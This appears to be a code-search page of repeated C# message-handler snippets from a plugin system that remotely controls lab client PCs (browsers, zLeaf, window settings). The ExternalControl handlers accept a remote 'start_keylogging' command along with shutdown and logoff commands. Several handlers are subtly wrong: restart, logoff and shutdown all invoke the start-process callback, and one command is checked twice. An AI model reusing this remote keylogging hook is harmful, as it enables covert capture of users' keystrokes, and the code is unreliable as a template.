示例#1
0
        public void SetTask(Message message)
        {
            try
            {
                var thread = new Thread(new ThreadStart(() =>
                {
                    try
                    {
                        TraceOps.Out("WebControl Client recived Message: " + message.GetCommand());
                        if (message.GetCommand() == "open_browser")
                        {
                            var d = new PluginCallback(_control.StartBrowser);
                            _mainForm.Invoke(d, new object[] { });
                        }

                        if (message.GetCommand() == "open_custom_browser")
                        {
                            var d = new PluginCallback(_control.StartCustomBrowser);
                            _mainForm.Invoke(d, new object[] { });
                        }

                        if (message.GetCommand() == "close_browser")
                        {
                            var d = new PluginCallback(_control.StopBrowser);
                            _mainForm.Invoke(d, new object[] { });
                        }

                        if (message.GetCommand() == "change_url")
                        {
                            var p     = message.GetParameter();
                            var value = "";

                            if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                            {
                                value = Message.GetAttribute(p, "url");
                            }

                            if (value != "")
                            {
                                _control.SetUrl(value);
                            }

                            var d = new PluginCallback(_control.ChangeUrl);
                            _mainForm.Invoke(d, new object[] { });
                        }
                    }
                    catch (Exception e)
                    {
                        TraceOps.Out(e.ToString());
                    }
                }));
                thread.Start();
            }
            catch (Exception e)
            {
                TraceOps.Out(e.ToString());
            }
        }
示例#2
0
 private void TaskManagerOnTask(Message message)
 {
     switch (message.GetCommand())
     {
     default:
         TraceOps.Out(message.GetCommand());
         break;
     }
 }
示例#3
0
        private void TaskManagerOnTask(Message message)
        {
            switch (message.GetCommand())
            {
            case "":
                Console.WriteLine("Case 1");
                break;

            case "a":
                Console.WriteLine("Case 2");
                break;

            default:
                TraceOps.Out(message.GetCommand());
                break;
            }
        }
示例#4
0
        public void SetTask(Message message)
        {
            TraceOps.Out("ExternalControl Client recived Message: " + message.GetCommand());
            if (message.GetCommand() == "start_externalcontrol")
            {
                var d = new PluginCallback(_control.RemoteStartProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "start_externalcontrol")
            {
                var d = new PluginCallback(_control.RemoteStopProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "restart_windows")
            {
                var d = new PluginCallback(_control.RemoteStartProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "logoff_windows")
            {
                var d = new PluginCallback(_control.RemoteStartProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "shutdown_windows")
            {
                var d = new PluginCallback(_control.RemoteStartProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "start_keylogging")
            {
                var d = new PluginCallback(_control.RemoteKeyLogging);
                _mainForm.Invoke(d, new object[] { });
            }
        }
示例#5
0
 public void SetTask(Message message)
 {
     TraceOps.Out("ZtreeControl Server recived Message: " + message.GetCommand());
 }
示例#6
0
 private void TaskManagerOnTask(Message message)
 {
     switch (message.GetCommand())
     {
         default:
             TraceOps.Out(message.GetCommand());
             break;
     }
 }
示例#7
0
 public void SetTask(Message message)
 {
     TraceOps.Out("ExternalControl Server recived Message: " + message.GetCommand());
 }
示例#8
0
        public void SetTask(Message message)
        {
            TraceOps.Out("ExternalControl Client recived Message: " + message.GetCommand());
            if (message.GetCommand() == "start_externalcontrol")
            {
                var d = new PluginCallback(_control.RemoteStartProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "start_externalcontrol")
            {
                var d = new PluginCallback(_control.RemoteStopProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "restart_windows")
            {
                var d = new PluginCallback(_control.RemoteStartProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "logoff_windows")
            {
                var d = new PluginCallback(_control.RemoteStartProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "shutdown_windows")
            {
                var d = new PluginCallback(_control.RemoteStartProcess);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "start_keylogging")
            {
                var d = new PluginCallback(_control.RemoteKeyLogging);
                _mainForm.Invoke(d, new object[] { });
            }
        }
示例#9
0
        public void SetTask(Message message)
        {
            TraceOps.Out("ZtreeControl Client recived Message: " + message.GetCommand());
            if (message.GetCommand() == "start_zleaf")
            {
                var d = new PluginCallback(_control.StartZLeaf);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "stop_zleaf")
            {
                var d = new PluginCallback(_control.StopZLeaf);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "set_preferences")
            {
                var p      = message.GetParameter();
                var xvalue = "";
                var yvalue = "";
                var wvalue = "";
                var hvalue = "";

                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                {
                    xvalue = Message.GetAttribute(p, "X");
                }

                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                {
                    yvalue = Message.GetAttribute(p, "Y");
                }

                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                {
                    wvalue = Message.GetAttribute(p, "W");
                }

                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                {
                    hvalue = Message.GetAttribute(p, "H");
                }

                try
                {
                    if (xvalue != "")
                    {
                        ClientModel.X = Convert.ToInt32(xvalue);
                    }
                    if (yvalue != "")
                    {
                        ClientModel.Y = Convert.ToInt32(yvalue);
                    }
                    if (wvalue != "")
                    {
                        ClientModel.W = Convert.ToInt32(wvalue);
                    }
                    if (hvalue != "")
                    {
                        ClientModel.H = Convert.ToInt32(hvalue);
                    }

                    var np = new string[, ] {
                        { }, { }
                    };
                    var nm = new Message(np, true, "zleaf_config_changed", "Server");
                    _messageQueue.SetMessage(nm);
                }
                catch (Exception e)
                {
                    TraceOps.Out(e.ToString());
                }
            }
        }
示例#10
0
        public void SetTask(Message message)
        {
            try
            {
                var thread = new Thread(new ThreadStart(() =>
                    {
                        try
                        {
                            TraceOps.Out("WebControl Client recived Message: "+ message.GetCommand());
                            if (message.GetCommand() == "open_browser")
                            {
                                var d = new PluginCallback(_control.StartBrowser);
                                _mainForm.Invoke(d, new object[] { });
                            }

                            if (message.GetCommand() == "open_custom_browser")
                            {
                                var d = new PluginCallback(_control.StartCustomBrowser);
                                _mainForm.Invoke(d, new object[] { });
                            }

                            if (message.GetCommand() == "close_browser")
                            {
                                var d = new PluginCallback(_control.StopBrowser);
                                _mainForm.Invoke(d, new object[] { });
                            }

                            if (message.GetCommand() == "change_url")
                            {
                                var p = message.GetParameter();
                                var value = "";

                                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                                {
                                    value = Message.GetAttribute(p, "url");
                                }

                                if (value != "") _control.SetUrl(value);

                                var d = new PluginCallback(_control.ChangeUrl);
                                _mainForm.Invoke(d, new object[] { });
                            }
                            }
                            catch (Exception e)
                            {
                                TraceOps.Out(e.ToString());
                            }
                    }));
                thread.Start();
            }
            catch (Exception e)
            {
                TraceOps.Out(e.ToString());
            }
        }
示例#11
0
 private void TaskManagerOnTask(Message message)
 {
     switch (message.GetCommand())
     {
         case "":
             Console.WriteLine("Case 1");
             break;
         case "a":
             Console.WriteLine("Case 2");
             break;
         default:
             TraceOps.Out(message.GetCommand());
             break;
     }
 }
示例#12
0
        public void SetTask(Message message)
        {
            TraceOps.Out("ZtreeControl Client recived Message: " + message.GetCommand());
            if (message.GetCommand() == "start_zleaf")
            {
                var d = new PluginCallback(_control.StartZLeaf);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "stop_zleaf")
            {
                var d = new PluginCallback(_control.StopZLeaf);
                _mainForm.Invoke(d, new object[] { });
            }

            if (message.GetCommand() == "set_preferences")
            {
                var p = message.GetParameter();
                var xvalue = "";
                var yvalue = "";
                var wvalue = "";
                var hvalue = "";

                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                {
                    xvalue = Message.GetAttribute(p, "X");
                }

                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                {
                    yvalue = Message.GetAttribute(p, "Y");
                }

                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                {
                    wvalue = Message.GetAttribute(p, "W");
                }

                if (p.GetLength(0) > 0 && p.GetLength(1) > 1)
                {
                    hvalue = Message.GetAttribute(p, "H");
                }

                try
                {
                    if (xvalue != "") ClientModel.X = Convert.ToInt32(xvalue);
                    if (yvalue != "") ClientModel.Y = Convert.ToInt32(yvalue);
                    if (wvalue != "") ClientModel.W = Convert.ToInt32(wvalue);
                    if (hvalue != "") ClientModel.H = Convert.ToInt32(hvalue);

                    var np = new string[,] { { }, { } };
                    var nm = new Message(np, true, "zleaf_config_changed", "Server");
                    _messageQueue.SetMessage(nm);
                }
                catch (Exception e)
                {
                    TraceOps.Out(e.ToString());
                }
            }
        }